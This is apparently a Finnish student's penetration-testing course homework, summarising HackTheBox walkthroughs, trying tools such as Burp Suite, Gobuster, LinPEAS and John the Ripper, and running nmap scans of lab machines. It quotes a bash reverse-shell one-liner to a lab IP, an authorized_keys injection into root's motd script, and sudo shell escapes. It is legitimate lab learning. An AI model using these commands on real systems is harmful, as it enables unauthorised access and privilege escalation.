Tunkeutumistestaus ict4tn027-3006 – H4

Patrik Sulander

z) Lue artikkelit ja katso videot, tee kustakin muistiinpanot (muutama ranskalainen viiva per artikkeli/video). Tässä z-kohdassa ei tarvitse tehdä mitään kokeita koneella.

  1. Ensimmäiseksi katselin laajalti sopivia artikkeleja, halusin löytää kaksi “helppoa” ja hieman erilaista walktrough-artikkelia. Filteröin hacktheboxissa haun “easy” koneisiin, jotka ovat jo “eläkkeellä” etten sitten pilaa vahingossakaan itselleni tulevia korkkausyrityksiä.
  2. 0xdf.gitlab.io
  3. Tässä vaiheessa haluan vielä informoida, etten ole itse käyttänyt walktroughin työkaluja ja voi olla että tulkitsen joitain vaiheita väärin, varsinkin kun näiden lukeminen oli melko raskasta kun jokainen työkalu on itselle aivan uusi.

HTB: Traverxec

  • Kyseessä Linux-kone ja difficult: “easy” tottakai.
  • Tiedustelussa (nmap) ilmenee harvinaisempi weppipalvelin “nostromo)
  • Portti 80 ja 22 auki, 80 löytyy webbisuunnittelijan sivut.
  • searchsploitilla löytyy kaksi potentiaalista haavoittuvuutta. Metasploit ja shell skripti. Artikkelin luoja lähettää kohdekoneeseen curlilla POST requestin saadakseen yhteyden shelliin.
  • www-data@traverxec:/usr/bin$
  • LinEnum –> .htpasswd, tätä työkalua tarkastelen enemmän seuraavassa tehtävässä. Seuraava tavoite on siis löytää SSH-avain. Tässä käytettiin avuksi “hashcattiä” salasanojen löytämiseen.
  • Kirjoittaja tutki paljon juuri nostromon config-asetuksia /var/nostromo/conf hakemistossa.
  • home/david/public_www -hakemistosta löytyi varmuuskopioavaimet, jotka lähetettiin “nc” (netcat) kautta takaisin hyökkääjälle. Webbipalvelimen kautta hyökkääjä otti tiedoston haltuunsa (wget).
  • SSH-avaimen salasana murrettiin ssh2john.py ja john työkalujen avulla, jonka jälkeen saatiin avaimen avulla David -käyttäjänä SSH-yhteys kohdekoneeseen.
  • cat user.txt –> käyttäjäflag saatu
  • Samassa Davidin kotihakemistossa löydetään myös “bin” hakemisto, jonka sisältä löydetään skripti palvelimen tilastoiden saamiseen.
  • “journalctl” (Työkalu järjestelmän lokien katseluun ja manipulointiin)
  • –> sudo journalctl !/bin/sh
  • En oikein ymmärtänyt tätä työkalua, mutta vaikuttaa todella mielenkiintoiselta. Tässä artikkelissa käyttäjä pienensi terminaalinsa alle 5 riviin saadakseen outputin lessinä ja vieläkin root-käyttäjänä.
  • Komento: /usr/bin/sudo /usr/bin/journalctl -n5 -unonstromo.service
  • Lessinä komento !/bin/bash ja näin päästiin root-shelliin, josta napattiin roottiflägi.

HTB: Traceback

  1. Tiedustelussa saadaan selville käyttöjärjestelmä (ubuntu 18.04 bionic), 22 -portti auki (SSH), 80 -portti auki (apache-webbipalvelu).
  2. Gobuster ei tuottanut tuloksia webshellin löytämiseen (mistä mainittiin webbisivun lähdekoodissa (TCP 80), mutta google tuotti tuloksia. Löytyi 16 php webshelliä, jotka hyökkääjä kopioi omaan macrotiedostoonsa, jotta voi ajaa nämä kaikki 16 vuorotellen.
  3. Uudestaan gobuster tuon php_shells listan kanssa, löydetään smevk.php, jonka sisältä taas löydetään kirjautumissivusto. (sourcesta nähdään, että kaikki on default admin, admin)
  4. Päästään sisään webshelliin ja sitä kautta shelliin –> nc kuuntelee käyttäjällä porttia 443 ja webshellissä ajetaan komento bash -c ‘bash -i >& /dev/tcp/10.10.14.6/443 0>&1’. =
  5. kotihakemistossa ei ole tällä kertaa user.txt -tiedostoa, mutta sysadminilla löydetään note.txt, josta saadaan vinkki “lua” skriptikielen harjoitteluun. Käyttäjä kertoo “Luvit”:sta, jolla voidaan synkronoida Lua (ei tarvitse opetella uutta ohjelmistokieltä)
  6. Hyökkääjä luo Lua skriptin, joka kirjoittaa SSH-avaimen sysadmininin “authorized_keys” tiedostoon. –>
io.open("/home/sysadmin/.ssh/authorized_keys", "a")

8. Tämän jälkeen voitiin ottaa SSH -yhteys sysadminiin.

9. Nyt halutaan rootiksi “pspy” työkalua käyttämällä hyökkääjä tutkii motdia. Huomataan, että cron (on ajastettu kaksi kertaa minuutissa palauttamaan asetukset, eli todella vaikea muokkaa mitään pysyvästi, ilman oikeuksia ajastuksen pysäyttämiseen.)

10. Hyökkääjä haluaa julkisen avaimensa rootin authorized_keys -tiedostoon. –>

sysadmin@traceback:/etc/update-motd.d$ echo "cp /home/sysadmin/.ssh/authorized_keys /root/.ssh/" >> 00-header

11. Tämän avulla kopioidaan avain roottiin heti kun otetaan SSH- yhteys, onnistutaan tekemään se ennen tuota putsausta 30 sekunnin jälkeen.

12.SSH -yhteys roottiin –> avain.

Läpikävelyvideot:

Ensimmäisten artikkelien jälkeen yritän nyt jotenkin tiivistää tämän walktroughin lyhyeksi, hieman ehkä turhaan ylitin selittää vaiheita mistä ei ole itsellä mitään käryä.

HackTheBox – Swagshop

  1. Tutkimalla webbisivua, huomataan virheitä sivujen konfiguraatioissa, vanhat tekijänoikeudet (käytettävä ohjelma ehkä vanha ja haavoittuvainen).
  2. Suoritetaan “Magescan” työkalulla webbisivun skannaus, jonka avulla löydetään konfiguraatiotiedosto (app/etc/local.xml)
  3. searchploit magento (tarkastellaan mahdollisia haavoittuvuuksia)
  4. Paljon debuggaamista ja muokkaamista, jotta remote connect exploitista saatiin toimiva. Ajettiin toimiva koodi ja päästiin shelliin kiinni reverse shellillä (backdoor) nc -lvnp.
  5. Huomataan, että voidaan käyttää vimiä sudona ilman salasanaa. “sudo vim /var/www/html/Pleasesupportmeonpatron” ja suoritetaan komento !/bin/bash ja päästään roottiin käsiksi.

HackTheBox – OpenAdmin

  1. Tiedustelussa ilmenee taas, että portit 22 ja 80 ovat auki.
  2. Hyökkääjä käyttää työkalua gobuster, jonka avulla löydetään nettisivustosta /music -välilehti ja login sivu, josta paljastuu että opennetadmin versio on 18.1.1
  3. searchsploit ei onnistu löytämään toimivaa exploittia, johtui vanhasta searchsploit versiosta. Searchsploitin päivitys ja löydetään toimiva openetadmin remote code execution skripti.
  4. Reverse shell toimii
  5. Työkalu “Linpeas” avulla löydetään ylläpidettävä mysql ja sitäkautta /opt/ona/www/local/config –> database_settings.inc.php mistä löydetään tietokannan login nimi sekä salasana. Löydetään user pöydästä 2 käyttäjää ja salasanaa, jotka hashes.org:ssa puretaan paljaaksi. (selviää, että näillä kirjautumistunnuksilla ei hirveästi hyödytä mitään.
  6. Työkalu “medusa”, jonka avulla testataan jo saatuja tunnuksia ja salasanoja ssh -yhteyden saamiseen. Jimmy käyttäjälle löydettiin onnistuneesti käyttäjä, salasana yhteyden luomiseen.
  7. Hyökkääjä ajaa “John” työkalun SSH -avaimen purkamiseen. Linudella saadaan myös selväksi, että Joanna käyttäjällä voidaan ajaa sudo vim /bin/nano /opt/priv sudona ilman salasanaa –> ajetaan /reset;sh 1>&0 2>&0 tekstienkäsittelyohjelmalla ja pääsemme root -käyttäjälle sekä nappaamaan lipun.

a) Etsi ja kokeile 5 uutta työkalua jostain lukemastasi/katsomastasi läpikävelystä

1. Burp suite

-Halusin kokeilla Burb suite -työkalua, koska kyseinen työkalu oli mukana melkein jokaisessa walktroughissa edes jollain tapaa.

  1. Latasin burpsuite_community -paketin.
  2. chmod +x burpsuite_community_linux_v2020_11_2.sh
  3. sudo ./burbpuiste_community_linux_v2020_11_2.sh
  4. Seuraavaksi lisäsin Firefoxiin lisäosan FoxyProxy Basic.
  1. python3 -m http.server pystytin weppipalvelimen porttiin 8000 (meidän testikohde)
  2. Burp suitessa määrittelin kohteen target –> scope –> add http://localhost/
  3. “intercept is on” (proxy välilehdessä) nyt burp sieppaa liikennettä. Ennen targettaamista saimme ilmoituksia, miljoonittain joka klikkauksesta, joten targettaaminen on todella tärkeää että hommassa pysyy joku selvyys.
  1. Kokeillaan –> interpect is on –> avataan http://localhost:8000 (eli meidän juuri pystyttämä palvelin) ja burp suite nappaa tuon GET requestin ja voimme tarkistella sitä, ennenkuin requesti menee itse palvelimelle. Eli tuolla “forward” painikkeella voimme lähettää sen requestin hostille (tässä tapauksessa siis localhost:8000) tai voimme myös “droppaa” eli pudottaa kyseisen GET -paketin, jolloin emme pääse sivulle vaan saamme “error” ilmoituksen.
  1. Tällä työkalulla siis voimme esimerkiksi monen muun ominaisuuden lisäksi manipuloida verkkoliikennettä välimiehenä sekä kaapata tietoja (esimerkiksi keksejä).

2. GoBuster

1.Valitsin maalikoneeksi HTB:ssa “Doctor” koneen (10.10.10.209). Tällä työkalulla tarkoitus on kokeilla brute forcee url:sta tiedostoja/hakemistoja.

2.sudo apt-get install gobuster

3. Ja seuraavaksi testasinkin samaa komentoa kuin openadmin -walktroughissa –>

“gobuster dir -u http://10.10.10.209/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt”

4. Lopetan forceemisen kesken, koska löysimme jo hakemiston /images ja kun urlaan 10.10.10.209/images, todentotta tuo hakemisto on olemassa. Työkalu toimii niinkuin pitäisikin.

3. LinPEAs

  1. Skriptityökalu, jolla voimme etsiä esimerkiksi keinoja laajentaa käyttäjän oikeuksia järjestelmässä/aukkoja.
  2. linPEAS
  3. sudo git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  1. cd privilege-escalation-awesome-scripts-suite/linPEAS/
  2. ajetaan skripti –> ./linpeas.sh

1. Nyt emme tästä hirveästi hyödy kun ajoimme sen omalla koneella, mutta jos olisimme päässeet vaikka jonkun kohdekoneen käyttäjällä sisään ja ajaisimme tämän skriptin niin saisimme paljon tietoa esimerkiksi käyttäjistä ja käyttäjien oikeuksista (mitä voisimme esimerkiksi ajaa sudona ilman salasanan tarvetta yms.)

4. searchsploit

  1. Tämän työkalun avulla päästään helposti käsiksi exploitdatabaseen terminaalin kautta.
  2. searchsploit -u (update) ettei käy samanlailla kuin yhdessä katsomassani walktroughissa.
  3. etsitään haluttua palvelua –> searchsploit openetadmin
  4. Mistään aktiivisesta “easy” koneesta en löytäny vanhoja webbipalvelimia mihin tietokannasta löytyisi esimerkiksi shell -skripti. Harmillisesti tämä openadmin -kone on jo “eläköityneissä”.
  1. searchsploit -m exploits/php/webapps/26682.txt (kopioi remote code exploitin meidän hakemistoon)
  2. cat 26682.txt, exploitissa on hyvin kerrottu ohjeet kuinka käyttää sitä yms.
  1. Ongelma on, että meillä ei ole mitään kohdekonetta mihin voisin käyttää tätä exploittia.
  2. Siirryn tässä vaiheessa seuraavaan tehtävään ja katson jos aikaa riittää tämän vielä maaliin asti.

5. SSH2John

  1. Mietin kokeilevan magescannia, mutta meillä ei ole kohdtetta jossa löytyisi magento -palvelin, sitten mietin ssh2johnia mielenkiintoiseksi työkaluksi, mutta emme ole niin pitkällä missään koneessa että voisimme yrittää purkaa avainta.
  2. Monen tunnin miettimisen jälkeen loin NAT -verkon kahden virtuaalikoneeni välille (kali ja ubuntu). Pingaamalla totesin että yhteys koneiden välillä toimii.
  3. Loin uuden käyttäjän ubuntukoneella –> sudo adduser testi
  4. Loin avainparin SSH -yhteydelle –> ssh-keygen
  1. Luodaan “authorized_keys” kansio, jotta me voimme saada yhteyden kali-koneesta –> touch authorized_keys
  2. Vaihdoin tiedoston lukuoikeudet, siten että vain meidän testikäyttäjällä on oikeus lukea tai kirjoittaa –> chmod 600 authorized_keys
  3. Kopioin julkisen avaimenluomaamme tiedostoon –> cat id_rsa.pub >> authorized_keys
  1. Luodaan yksinkertainen weppipalvelin samalle kohdekoneelle–> python -m SimpleHTTPServer 8000
  1. Nyt haluamme tuon avaimen Kali koneellemme –> wget http://10.0.2.15:8000/id_rsa
  2. Tässä minulla oli pitkään ongelmia… connection timed out, ei saatu millään kalille tuota tavaraa. Kokeilin ensiksi vaihtaa verkkoasetuksia bridged natiin NAT:sta, mutta sama lopputulos.
  3. Vihdoiin, ongelma oli “tottakai” palomuurissa. Kohdekoneella “sudo ufw allow 8000 ja 80”. Sain ladattua vihdoin kali -koneelle avaimet.
  1. Ladataan John The Ripper –> “wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py”
  2. Käytetään työkalua id_rsa -tiedoston (yksityinen avain) viemiseen uudeksi hash -tiedostoksi (jotta john pystyy lukemaan sitä). –> python ssh2john.py id_rsa > id_rsa.hash
  1. Seuraavaksi käytetään Johnia avaimen/salasanan purkamiseen. Käytin lyhyttä sanalistaa, koska muokkasin avaimeni salasanaksi yhdeksi listassa olevista. –>wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt noin nyt meillä on tuo sanalista.
  2. Seuraavaksi ajetaan siis tuo John, liitetään komentoon tuo lataamamme sanalista ja hash -tiedosto. –> john –wordlist=darkweb2017-top10.txt id_rsa.hash
  3. Jes, luomamme salasana saatu näytille.
  1. Seuraavaksi yritetään ottaa SSH -yhteys kohdekoneeseen.
  2. –>ssh -i id_rsa testi@10.0.2.15, syötetään salasana jonka saimme ja pääsemme sisään!

b) Tiedustele ja analysoi 5 htb konetta perusteellisesti. Käytä ainakin nmap-porttiskanneria.

  • Loin ensiksi yhteyden HTB -verkkoon
  • sudo openvpn Pakki.ovpn ja sitten aloin metsästämään koneita.
  • Käytän jokaiseen koneeseen komentoa –> sudo nmap -sT -A (ip-osoite)
  • -A eli aggressiivinen skannaus sisältää käyttöjärjestelmän-, versioiden-,skriptien- ja reitinjäljittämisen tutkimisen.
  • -sT eli TCP yhteys skannaus. Tässä skannauksessa Nmap yrittää yhdistää kohdekoneeseen/portteihin.

Hackthebox – Omni 10.10.10.204

  • sudo nmap -sT -A 10.10.10.204
  • Avasin myös wiresharkin –> sudo wireshark
  • Laitoin wiresharkin kuuntelemaan tun0-verkkolaitetta (HTB-verkko) ja filtteröin sen vielä –> ip.addr eq 10.10.10.204
  • Omni on ylhäällä.
  • 998 porttia on “filtered” tilassa, , emme saa vastakaikua yleensä johtuen siitä että palomuuri suodattaa pakettimme veks ja siksi nmap määrittää portit “filtered” statukseen.
  • Wiresharkissa huomataan, että koneemme lähettää ICMP echo (ping) requestin, kaikkiin (1000 yleisimpään) porttiin SYN -paketin, timestamp requestin ja saamme takaisin echo (ping) replyn kohdekoneelta. Saamme siis yhteyden kohdekoneeseen.
  • 80 -porttiin koneemme lähettää suoraan ACK -paketin. (johtuen siitä, että ajoimme komennon sudona)
  • Portti 135 “open” (remote procedure call(RPC)), vaikuttaa oudolta wiresharkissa. Koneemme lähettää SYN -paketin ja saa takas ensiksi SYN/ACK -paketin, lopuksi lähettää ACK -paketin kohdekoneelle, ihan kuin normaalissa threeway handshakessa. Sen jälkeen koneemme lähettää RST/ACK -paketin eli saa tiedon kohdekoneelta ja sanoo vain moikat ja sulkee yhteyden. Outoa tässä on se, että tämä sama tapahtuma toistuu useita kertoja. Samalla löysin myös koneelle lähettävän FIN (FINISH), SYN, PSH (PUSH), URG (URGENT) paketin. Se vaikuttaa samalta kun viime läksyissä tutkimaltani christmas tree paketilta. Paketilla on siis vissiin tarkoitus kiertää palomuurin sääntöjä, yrittämällä kaikkea mahdollista. Ehkä nmap käyttää juuri tätä pakettia avuksi käyttöjärjestelmien vertailuun omassa tietokannassaan vertaillen miten kohdekone reagoi pakettiin.
  • Portti 135 palvelu: msrpc versio: windows RPC ja portti 8080 palvelu: upnp versio: Microsoft IIS httpd ovat ainoat auki olevat portit.
  • Windows rpc = remote procedure call, lukemani mukaan palvelua käytetään apuna eri windows palveluiden vuorovaikutukseen keskenään esimerkiksi tietokoneiden hallinnointiin, ohjauspaneelin ja jopa aktiivi hakemistot.
  • Microsoft IIS httpd = Webbipalvelin windows alustalla.
  • Nmap varoittaa, että vain arvaa käyttöjärjestelmän: Microsoft Windows XP tai windows 7.
  • http-auth: http/1.1 401 unauthorized, vaikuttaisi http-tilan error vastaukselta. Eli koneemme lähettämään requestiin ei vastata, koska kohteeseen tunnistautumiseen käytetyt todennustiedot ovat puutteellisia.
  • Huomataankin kun yritän päästä webbipalvelimeen kiinni (10.10.10.204:8080) ensimmäisenä näytölle pamahtaa tunnistautumiskenttä, missä kysytään nimeä ja salasanaa. Saatesanoilla “Windows Device Portal”.

Hackthebox – Doctor 10.10.10.209

  • sudo nmap -sT -A 10.10.10.209
  • Portti 22 (SSH) auki – Openssh 8.2p1, OpenSSH noteista nähdään, että kyseinen versio on julkaistu 14.helmikuuta.2020. Googlettamalla haavoittuvuuksia ei oikein löytynyt ja jos löytyi niin sisälsi maininnan “patched” eli päivitetty ja haavoittuvuus turvattu.
  • Portti 80 (HTTP) auki – Apache httpd 2.4.41, versio julkaistu 2019 ja mitään haavoittuvuuksia en löytänyt netin kautta.
  • Portti 8089 (SSL/HTTP) – Splunkd httpd, ilmeisesti splunk on Apachen lisäosa, joka mahdollistaa lokitiedostojen valvomisen ja yleisesti kerää paljon tietoa webbipalvelimen toiminnasta .
  • Käyttöjärjestelmä Linux 90%
  • Crestron XPanel control system 90% (jonkinlainen kosketusnäyttö/esitys -sovellus windows/mac -laitteille) En oikein ymmärtänyt tätä ohjainjärjestelmää.

c) Nimeä 1-3 walktrough:ta, joissa tunkeudutaan samantapaisiin palveluihin, joita käsittelit kohdassa b. Tiivistä artikkelit muutamalla bulletilla. Mitä työkaluja hyökkääjät käyttivät? Kokeile työkaluja (1-3 työkalua), raportoi ja arvioi tulokset.

  • En valitettavasti ehtinyt suorittamaan nyt tätä tehtävää, sen verta hidas olen tekemään yleisestikkin tehtäviä. Ainakin tuli opittua tässä, että kaikenlaisia työkaluja löytyy eri tarkoituksiin. Se ei riitä että tietää työkalut (iso plussa kuitenkin) mutta pitäisi osata myös käyttää niitä niin tämä vaatii todella tunteja.

Lähteet:

UFW, Luettu 30.11.2020:

https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands

SSH2JOHN, luettu 30.11.2020:

https://null-byte.wonderhowto.com/how-to/crack-ssh-private-key-passwords-with-john-ripper-0302810/

SSH2JOHN, luettu 30.11.2020:

https://github.com/openwall/john

HTB: Traverxec walktrough, Luettu 29.11:

https://0xdf.gitlab.io/2020/04/11/htb-traverxec.html

HTB: Traceback walktrough, Luettu 29.11:

https://0xdf.gitlab.io/2020/08/15/htb-traceback.html#shell-as-webadmin

HTB: Swagshop walktrough, Luettu 29.11:

HTB: OpenAdmin walktrough, Luettu 29.11:

Tero Karvinen läksyt, Luettu 29.11:

http://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/#luettavaa-ja-linkkeja

Virtual network, Luettu 29.11.2020:

https://www.virtualbox.org/manual/ch06.html

Leave a comment